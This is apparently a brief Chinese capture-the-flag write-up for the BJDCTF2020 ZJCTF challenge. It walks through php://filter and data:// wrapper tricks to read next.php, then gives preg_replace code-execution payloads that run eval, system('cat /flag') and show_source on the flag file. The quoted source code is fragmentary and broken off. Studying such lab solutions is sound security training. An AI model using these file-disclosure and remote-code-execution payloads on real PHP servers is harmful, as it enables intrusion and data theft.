BJDCTF2020ZJCTF,不过如此 1

先用php伪协议 读取next.php 获得的代码
text=data://text/plain;base64,aWhhdmVhZHJlYW0=(文本内容ihaveadream的base64)&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码一下得到如下

$str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); } **考preg_replace()的RCE** https://xz.aliyun.com/t/2557 这篇文章就是讲这个的利用的 \S*()={${eval($_POST[a])}} a=system%28%27cat+%2Fflag%27%29%3B preg_replace()的RCE payload 为: /?.*={${phpinfo()}}, 即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} payload2: \S*=${phpinfo()} payload:利用源码给的getFlag函数 /next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22); 在next.php下可以执行这个操作 system('cat/flag'); 这个不知道为什么不行看有的wp可以成功